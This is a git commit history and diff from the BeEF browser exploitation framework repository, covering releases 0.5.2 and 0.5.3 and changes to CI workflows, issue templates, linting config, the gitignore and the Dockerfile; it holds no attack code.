2021-10-15 14:22:56 +11:00
Isaac Powell
3b34e428cc version up (#2188) 2021-10-15 13:56:58 +11:00
Isaac Powell
ea65554a50 Rubocop api.rb fix (#2175) 2021-10-15 10:36:54 +10:00
wheatley
dc68ed9390 Added testing installation on ubuntu 2021-10-14 16:20:50 +10:00
Isaac Powell
1ae320c3bc Hotfix api.rb (#2173)
* testing api

* formatting
2021-09-24 11:36:16 +10:00
wheatley
43e3fa5432 Release: 0.5.3.0 (#2169)
* Fix #1851 - Command/request(s) sent to zombie 'undefined' bug (#1963)

* Provided correct context in locationHashChanged() to have data necessary for the nested function calls to act as intended.

* rubocop cleanup (#2170)

* version up (#2172)

Co-authored-by: Jack Walker <46417690+jackdwalker@users.noreply.github.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-09-24 11:06:47 +10:00
wheatley
694df4c17b Updated config.yaml to remove "" form public 2021-09-12 22:15:41 +10:00
wheatley
b0e59d2c55 Release 0.5.2.0 (#2167)
* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
2021-09-12 21:57:18 +10:00
wheatley
b6425e4a90 Release 0.5.2.0 (#2166)
* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: Andrew Wheatley <a@andrews-mini.home>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
2021-09-12 21:33:02 +10:00
wheatley
c96b5e8968 Update ISSUE_TEMPLATE.md
bumped version
2021-09-12 17:50:24 +10:00
dependabot[bot]
27e58a714d Update rubocop requirement from ~> 0.92.0 to ~> 1.20.0 (#2154)
Updates the requirements on [rubocop](https://github.com/rubocop/rubocop) to permit the latest version.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v0.92.0...v1.20.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-04 20:07:06 +10:00
1578 changed files with 26734 additions and 45643 deletions

View File

@@ -1,2 +1,3 @@
--- ---
BUNDLE_WITHOUT: "development:test" BUNDLE_WITHOUT: "development:test"
BUNDLE_WITH: "geoip:ext_msf:ext_notifications:ext_dns:ext_qrcode"

8
.dockerignore Normal file
View File

@@ -0,0 +1,8 @@
# Don't copy over git files
.git
.github
.gitignore
doc
docs
test
update-beef

View File

@@ -1,66 +0,0 @@
# Submit Issue
Verify first that your issue/request has not been posted previously:
* https://github.com/beefproject/beef/issues
* https://github.com/beefproject/beef/wiki/FAQ
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/v0.5.1.0).
Please do your best to provide as much information as possible. It will help substantially if you can enable and provide debugging logs with your issue. Instructions for enabling debugging logs are below:
1. In the `config.yaml` file of your BeEF root folder set debug and client_debug (lines 11 & 13 respectively) to `true`
* If using a standard installation of `beef-xss` the root folder will typically be `/usr/share/beef-xss`
2. Reproduce your error
3. Retrieve your client-side logs from your browser's developer console (Ctrl + Shift + I)
4. Retrieve your server-side logs from `~/.beef/beef.log`
5. **If using `beef-xss`:** Retrieve your service logs using `journalctl -u beef-xss`
Thank you, this will greatly aid us in identifying the root cause of your issue :)
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**
Feel free to open it back up if you continue to have issues.
## Summary
**Q:** Please provide a brief summary of the issue that you experienced.
**A:**
## Environment
*Please identify the environment in which your issue occurred.*
1. **BeEF Version:**
2. **Ruby Version:**
3. **Browser Details (e.g. Chrome v81.0):**
4. **Operating System (e.g. OSX Catalina):**
## Configuration
**Q:** Have you made any changes to your BeEF configuration?
**A:**
**Q:** Have you enabled or disabled any BeEF extensions?
**A:**
## Expected vs. Actual Behaviour
**Expected Behaviour:**
<br />
**Actual Behaviour:**
<br />
## Steps to Reproduce
*Please provide steps to reproduce this issue.*
1.
## Additional Information
Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be retrieved by following the instructions towards the top of the issue template.

37
.github/ISSUE_TEMPLATE/bug_report.md vendored Normal file
View File

@@ -0,0 +1,37 @@
---
name: Bug report
about: Report a bug to help us improve BeEF
---
## First Steps
1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues
2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki
3. Check the FAQ: https://github.com/beefproject/beef/wiki/FAQ
4. BeEF Version:
5. Ruby Version:
6. Browser Details (e.g. Chrome v81.0):
7. Operating System (e.g. OSX Catalina):
## Configuration
1. Have you made any changes to your BeEF configuration? Yes/No
2. Have you enabled or disabled any BeEF extensions? Yes/No
## Steps to Reproduce
1. (eg. I ran install script, which ran fine)
2. (eg. when launching console with './beef' I get an error as follows: <error here>)
3. (eg. beef does not launch)
## How to enable and capture detailed logging
1. Edit `config.yaml` in the root directory
* If using Kali **beef-xss** the root dir will be `/usr/share/beef-xss`
2. Update `client_debug` to `true`
3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser)
4. Retrieve your server-side logs from `~/.beef/beef.log`
* If you have a kali (beef-xss) problem, you can submit a bug here:
https://www.kali.org/docs/community/submitting-issues-kali-bug-tracker/
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**

5
.github/ISSUE_TEMPLATE/config.yml vendored Normal file
View File

@@ -0,0 +1,5 @@
blank_issues_enabled: false
contact_links:
- name: Questions / Support
url: https://github.com/beefproject/beef/wiki
about: Please check the wiki before opening an issue.

72
.github/workflows/codeql.yml vendored Normal file
View File

@@ -0,0 +1,72 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"
on:
push:
branches: [ master ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ master ]
schedule:
- cron: '36 1 * * 0'
jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
security-events: write
strategy:
fail-fast: false
matrix:
language: [ 'javascript', 'ruby' ]
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
# Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
steps:
- name: Checkout repository
uses: actions/checkout@v3
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
queries: security-extended,security-and-quality
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
# If this step fails, then you should remove it and run the build manually (see below)
# - name: Autobuild
# uses: github/codeql-action/autobuild@v2
# Command-line programs to run using the OS shell.
# 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
# If the Autobuild fails above, remove it and uncomment the following three lines.
# modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
# - run: |
# echo "Run, Build Application using script"
# ./location_of_script_within_repo/buildscript.sh
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2

View File

@@ -0,0 +1,26 @@
name: Dependabot auto-merge
on:
pull_request:
branches:
- master
permissions:
contents: write
pull-requests: write
jobs:
dependabot:
runs-on: ubuntu-latest
if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'beefproject/beef'
steps:
- name: Dependabot metadata
id: metadata
uses: dependabot/fetch-metadata@v2
with:
github-token: "${{ secrets.GITHUB_TOKEN }}"
- name: Enable auto-merge for Dependabot PRs
if: success() && (steps.metadata.outputs.update-type == 'version-update:semver-minor' || steps.metadata.outputs.update-type == 'version-update:semver-patch')
run: gh pr merge --auto --merge "$PR_URL"
env:
PR_URL: ${{ github.event.pull_request.html_url }}
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

68
.github/workflows/github_actions.yml vendored Normal file
View File

@@ -0,0 +1,68 @@
name: 'BrowserStack Test'
on:
pull_request_target:
branches: [ master ]
types: [ labeled ]
jobs:
ubuntu-job:
name: 'BrowserStack Test on Ubuntu'
runs-on: ubuntu-latest
if: github.event.label.name == 'safe_to_test'
env:
GITACTIONS: true
steps:
- name: 'Remove safe_to_test label'
uses: actions/github-script@v8
with:
script: |
await github.rest.issues.removeLabel({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
name: 'safe_to_test'
});
- name: 'BrowserStack Env Setup' # Invokes the setup-env action
uses: browserstack/github-actions/setup-env@master
with:
username: ${{ secrets.BROWSERSTACK_USERNAME }}
access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }}
- name: 'BrowserStack Local Tunnel Setup' # Invokes the setup-local action
uses: browserstack/github-actions/setup-local@master
with:
local-testing: start
local-identifier: random
- name: 'Checkout the repository'
uses: actions/checkout@v6
with:
ref: ${{ github.event.pull_request.head.sha }}
fetch-depth: 2
- name: 'Setting up Ruby'
uses: ruby/setup-ruby@v1
# Ruby version is defined in .ruby-version file
- name: 'Update and Install Dependencies'
run: |
sudo apt update
sudo apt install libcurl4 libcurl4-openssl-dev
- name: 'Configure Bundle testing and install gems'
run: |
bundle config unset --local without
bundle config set --local with 'test' 'development'
bundle install
- name: 'Run BrowserStack simple verification'
run: |
bundle exec rake browserstack --trace
- name: 'BrowserStackLocal Stop' # Terminating the BrowserStackLocal tunnel connection
uses: browserstack/github-actions/setup-local@master
with:
local-testing: stop

35
.github/workflows/stale.yml vendored Normal file
View File

@@ -0,0 +1,35 @@
# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
#
# You can adjust the behavior by modifying this file.
# For more information, see:
# https://github.com/actions/stale
name: Mark stale issues and pull requests
on:
schedule:
- cron: '5 * * * *'
jobs:
stale:
runs-on: ubuntu-latest
permissions:
issues: write
pull-requests: write
steps:
- uses: actions/stale@28ca1036281a5e5922ead5184a1bbf96e5fc984e # v10.0.0
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
days-before-stale: 120
days-before-pr-stale: 29
days-before-close: 7
days-before-pr-close: 31
stale-issue-message: 'This issue has been marked as stale due to inactivity and will be closed in 7 days'
stale-pr-message: 'Stale pull request message'
stale-issue-label: 'Stale'
stale-pr-label: 'no-pr-activity'
exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog'
exempt-all-milestones: true
exempt-draft-pr: true
start-date: '2022-06-15T00:00:00Z'

9
.gitignore vendored
View File

@@ -1,5 +1,7 @@
### BeEF ### ### BeEF ###
beef.db beef.db
beef.db-shm
beef.db-wal
beef.log beef.log
test/msf-test test/msf-test
extensions/admin_ui/media/javascript-min/ extensions/admin_ui/media/javascript-min/
@@ -9,7 +11,6 @@ custom-config.yaml
.rvmrc .rvmrc
beef.log beef.log
*.lock
extensions/metasploit/msf-exploits.cache extensions/metasploit/msf-exploits.cache
@@ -26,6 +27,9 @@ coverage/
# BrowserStack # BrowserStack
local.log local.log
# Visual Studio Code
.vscode/
# The following lines were created by https://www.gitignore.io # The following lines were created by https://www.gitignore.io
### Linux ### ### Linux ###
@@ -127,3 +131,6 @@ node_modules/
# Generated files # Generated files
out/ out/
doc/rdoc/ doc/rdoc/
# Secrets for testing github actions locally
.secrets

View File

@@ -4,7 +4,8 @@ AllCops:
- 'tmp/**/*' - 'tmp/**/*'
- 'tools/**/*' - 'tools/**/*'
- 'doc/**/*' - 'doc/**/*'
TargetRubyVersion: 2.6 TargetRubyVersion: <%= File.read(".ruby-version").strip[/^(\d+\.\d+)/, 1] || raise("Ruby version not found") %>
NewCops: enable
Layout/LineLength: Layout/LineLength:
Enabled: true Enabled: true
@@ -22,57 +23,20 @@ Metrics/ClassLength:
Metrics/MethodLength: Metrics/MethodLength:
Enabled: false Enabled: false
Metrics/ModuleLength:
Enabled: false
Metrics/PerceivedComplexity: Metrics/PerceivedComplexity:
Enabled: false Enabled: false
Metrics/CyclomaticComplexity: Metrics/CyclomaticComplexity:
Enabled: false Enabled: false
Naming/ClassAndModuleCamelCase:
Enabled: false
Style/FrozenStringLiteralComment: Style/FrozenStringLiteralComment:
Enabled: false Enabled: false
# TODO: review these Style/Documentation:
Layout/SpaceBeforeBrackets:
Enabled: false
Lint/AmbiguousAssignment:
Enabled: false
Lint/DeprecatedConstants:
Enabled: false
Lint/DuplicateBranch:
Enabled: false
Lint/DuplicateRegexpCharacterClassElement:
Enabled: false
Lint/EmptyBlock:
Enabled: false
Lint/EmptyClass:
Enabled: false
Lint/LambdaWithoutLiteralBlock:
Enabled: false
Lint/NoReturnInBeginEndBlocks:
Enabled: false
Lint/RedundantDirGlobSort:
Enabled: false
Lint/ToEnumArguments:
Enabled: false
Lint/UnexpectedBlockArity:
Enabled: false
Lint/UnmodifiedReduceAccumulator:
Enabled: false
Style/ArgumentsForwarding:
Enabled: false
Style/CollectionCompact:
Enabled: false
Style/DocumentDynamicEvalDefinition:
Enabled: false
Style/EndlessMethod:
Enabled: false
Style/HashExcept:
Enabled: false
Style/NegatedIfElseCondition:
Enabled: false
Style/NilLambda:
Enabled: false
Style/RedundantArgument:
Enabled: false
Style/SwapValues:
Enabled: false Enabled: false

View File

@@ -1 +1 @@
2.7.2 3.4.7

View File

@@ -1,99 +0,0 @@
language: ruby
rvm:
- 2.5.3
- 2.6.0
- 2.6.3
- 2.6.5
- 2.7.0
notifications:
email:
recipients:
- wade@bindshell.net
on_success: always
on_failure: always
branches:
only:
- master
- browserstack
before_script:
- RUBY_VERSION=/bin/bash rvm current
- sed -i -E 's/system\((.*?)\)/""/g' /home/travis/.rvm/gems/$RUBY_VERSION/gems/browserstack-local-1.3.0/lib/browserstack/local.rb
env:
- CONFIG_FILE=osx/catalina/catalina_chrome_41.config.yml
- CONFIG_FILE=osx/catalina/catalina_chrome_59.config.yml
- CONFIG_FILE=osx/catalina/catalina_chrome_81.config.yml
- CONFIG_FILE=osx/catalina/catalina_firefox_11.config.yml
- CONFIG_FILE=osx/catalina/catalina_firefox_68esr.config.yml
- CONFIG_FILE=osx/catalina/catalina_firefox_75.config.yml
- CONFIG_FILE=osx/catalina/catalina_safari_13.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_chrome_14.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_chrome_81.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_firefox_7.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_firefox_75.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_safari_9-1.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_chrome_14.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_chrome_35.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_chrome_49.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_firefox_7.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_firefox_38esr.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_firefox_42.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_safari_5-1.config.yml
- CONFIG_FILE=windows/win10/win10_chrome_37.config.yml
- CONFIG_FILE=windows/win10/win10_chrome_59.config.yml
- CONFIG_FILE=windows/win10/win10_firefox_32.config.yml
- CONFIG_FILE=windows/win10/win10_firefox_68esr.config.yml
- CONFIG_FILE=windows/win10/win10_firefox_75.config.yml
- CONFIG_FILE=windows/win10/win10_edge_81.config.yml
- CONFIG_FILE=windows/win10/win10_ie_11.config.yml
- CONFIG_FILE=windows/win8/win8_chrome_22.config.yml
- CONFIG_FILE=windows/win8/win8_chrome_81.config.yml
- CONFIG_FILE=windows/win8/win8_firefox_32.config.yml
- CONFIG_FILE=windows/win8/win8_firefox_75.config.yml
- CONFIG_FILE=windows/win8/win8_edge_81.config.yml
- CONFIG_FILE=windows/win8/win8_ie_10.config.yml
- CONFIG_FILE=windows/xp/xp_chrome_14.config.yml
- CONFIG_FILE=windows/xp/xp_chrome_28.config.yml
- CONFIG_FILE=windows/xp/xp_chrome_43.config.yml
- CONFIG_FILE=windows/xp/xp_firefox_16.config.yml
- CONFIG_FILE=windows/xp/xp_firefox_26.config.yml
- CONFIG_FILE=windows/xp/xp_firefox_45.config.yml
- CONFIG_FILE=windows/xp/xp_ie_7.config.yml
jobs:
include:
- name: "Full Test Suite 2.5.3"
rvm: 2.5.3
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
- name: "Full Test Suite 2.6.0"
rvm: 2.6.0
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
- name: "Full Test Suite 2.6.3"
rvm: 2.6.3
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
- name: "Full Test Suite 2.6.5"
rvm: 2.6.5
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
- name: "Full Test Suite 2.7.0"
rvm: 2.7.0
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
script:
- bundle exec rspec --tag run_on_browserstack
addons:
apt:
packages:
- libsqlite3-dev
- build-essential
- patch
- ruby-dev
- zlib1g-dev
- liblzma-dev
- libcurl4-openssl-dev
browserstack:
username:
secure: "Yj+a2jY56dFqJwXdU6JdSXeKhhS01CiToBoB922SXVnA2D2WclGOFiTi0YrkAS9PuOJX5AjC9eUw7VFUcp8DiLmeDGLWo8klYrWQoJOH55FmSWKjdkqDopJFYr0ZXk/ZuXzzpuMvKkCT5MGFnySXyheTW8aUj33GetJ6/sNq5BoA36jH04OE3iPgdBaFPRNDVXEIWLaLUDQsAyZsHNNYC+/cj3cxjXLHu+mbNuXsXEHgrHJ2A94EWdrdGODWL8mRtlSDNkIaYHZKCBnUlHWwCwBitLsjhzdy0YFrIGVbX96FV+C41sjPWLFjZhjAaNDuJ3FoTplbzFNvrw5oxQAAI8ZZqUwF4MRIrQbN8BLFVISX7JooQjfyrNVWvhpZWGPB4GZTN4CThrlQ7G7CJRYDVyqZ7nen6y0+osBr9DRKN+EemlVG73aNP3mXaZr6BmS1BpQJ6tlqDdLCvC5j/PdguKwvt4EmgHA8Pzn20UElV+8BPblcYGjsWplk/cxW1adW0pu2vIxskKxDKJ/ReY3l5yUpiQPZHbuMidq2ffSX0B3yALe7vx+3AvMb2Fk9yWh52EVJXPkVlLvhP7wDd22MHCemvrC2nLhkVR4MglLWs7dZKHswExlKJdWK4OSXprOStjZSA47sjF2nPdztWTpdI77SKaBcoLGR5WOV+JtcQgk="
access_key:
secure: "KHlR8NHPnoF9U1CJKgUhS1YhPSeTILI2lIu+JilQ5Xeo7rcbWg9lT2xwQQNnLYrISG1vC6OzsbkcnC/3ZnAv7jYff4iUTc3Syszs5wIhhvnhBx4qCxM+/UD78TJNQ0AuY7NOIK6OXcmwbpZrOBUojZkooEkc8bpG56nb2v7dOIafFLV+tv9xcc5DtMSfh7FavhqRFRO+PCybqOW8yWMc2NiMYy3p9jKBC3qYRqme4hx1NRrLo5BZQ+UIcO3Rf+vAjUP+3gGuhWeu2kDCvZYDnI2GN1/WacRVY2cqDPGiYlD6pHNMqU0raYKyWdK0QD4KwYpfjxBGRmwBfz8xU8KWUEZ3P11mJn+BvIt0qe3VpomR0/60/fok1BEso3nea8oENXur5G/5SOfpkPLjzd4P4f7JYnST1PeeWwpzV305wktDv9aLc+Ne9cFCaxSaaCnOk82rKDhtnktwnK7krFj1lM6oygtOD+arAytPKaURRgV2izaoophiXuLFb+9XKSkMGtJ3e+rQATonnDPaFTzouKaXSEPxZQQ2bnsp9tETAReDrYIwPHuYL778UbbBICgNk54CZSfTeRFLroRGNPb/0gPXbu6SryPnknfCMNd7ksSndVoyKsDo1plTHQJGVweP2hxR3R/9syk9Z6DU6H5H3dc/RbkkmoRPVooUtR/mZ/c="

View File

@@ -1,49 +0,0 @@
{
"id": "3b5f29e6-c8eb-4d23-bf52-c01255f22f08",
"name": "BeEF",
"values": [
{
"key": "hostname",
"value": "127.0.0.1",
"enabled": true
},
{
"key": "username",
"value": "beef",
"enabled": true
},
{
"key": "password",
"value": "beef",
"enabled": true
},
{
"key": "token",
"value": "",
"enabled": true
},
{
"key": "session",
"value": "",
"enabled": true
},
{
"key": "module_id",
"value": "",
"enabled": true
},
{
"key": "cmd_id",
"value": "",
"enabled": true
},
{
"key": "dnsrule_id",
"value": "",
"enabled": true
}
],
"_postman_variable_scope": "environment",
"_postman_exported_at": "2020-01-03T06:00:29.827Z",
"_postman_exported_using": "Postman/7.14.0"
}

View File

@@ -1,64 +1,109 @@
#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
########################################################################################################### ###########################################################################################################
########################################################################################################### ###########################################################################################################
## ## ## ##
## Please read the Wiki Installation section on set-up using Docker prior to building this container. ## ## Please read the Wiki Installation section on set-up using Docker prior to building this container. ##
## BeEF does NOT allow authentication with default credentials. So please, at the very least ## ## BeEF does NOT allow authentication with default credentials. So please, at the very least ##
## change the username:password in the config.yaml file to something secure that is not beef:beef ## ## change the username:password in the config.yaml file to something secure that is not beef:beef ##
## before building or you will to denied access and have to rebuild anyway. ## ## before building or you will be denied access and have to rebuild anyway. ##
## ## ## ##
########################################################################################################### ###########################################################################################################
########################################################################################################### ###########################################################################################################
# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------ # ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
FROM ruby:2.6.3-alpine AS builder FROM ruby:3.4.7-slim-bookworm AS builder
LABEL maintainer="Beef Project: github.com/beefproject/beef"
# Install gems in parallel with 4 workers to expedite build process.=
ARG BUNDLER_ARGS="--jobs=4"
# Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files
RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc
COPY . /beef COPY . /beef
# Add bundler/gem dependencies and then install # Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files.
RUN apk add --no-cache git curl libcurl curl-dev ruby-dev libffi-dev make g++ gcc musl-dev zlib-dev sqlite-dev && \ # Then add bundler/gem dependencies and install.
bundle install --system --clean --no-cache --gemfile=/beef/Gemfile $BUNDLER_ARGS && \ # Finally change permissions of bundle installs so we don't need to run as root.
# Temp fix for https://github.com/bundler/bundler/issues/6680 RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
rm -rf /usr/local/bundle/cache && apt-get update \
&& apt-get install -y --no-install-recommends \
WORKDIR /beef git \
curl \
# So we don't need to run as root libssl-dev \
RUN chmod -R a+r /usr/local/bundle xz-utils \
pkg-config \
make \
g++ \
libcurl4-openssl-dev \
ruby-dev \
libyaml-dev \
libffi-dev \
zlib1g-dev \
libsqlite3-dev \
sqlite3 \
&& bundle install --gemfile=/beef/Gemfile --jobs=`nproc` \
&& rm -rf /usr/local/bundle/cache \
&& chmod -R a+r /usr/local/bundle \
&& rm -rf /var/lib/apt/lists/*
# ------------------------------------- End of Builder 0 ------------------------------------------------- # ------------------------------------- End of Builder 0 -------------------------------------------------
# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------ # ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
FROM ruby:2.6.3-alpine FROM ruby:3.4.7-slim-bookworm
LABEL maintainer="Beef Project: github.com/beefproject/beef" LABEL maintainer="Beef Project" \
source_url="github.com/beefproject/beef" \
homepage="https://beefproject.com/"
# Create service account to run BeEF # BeEF UI/Hook port
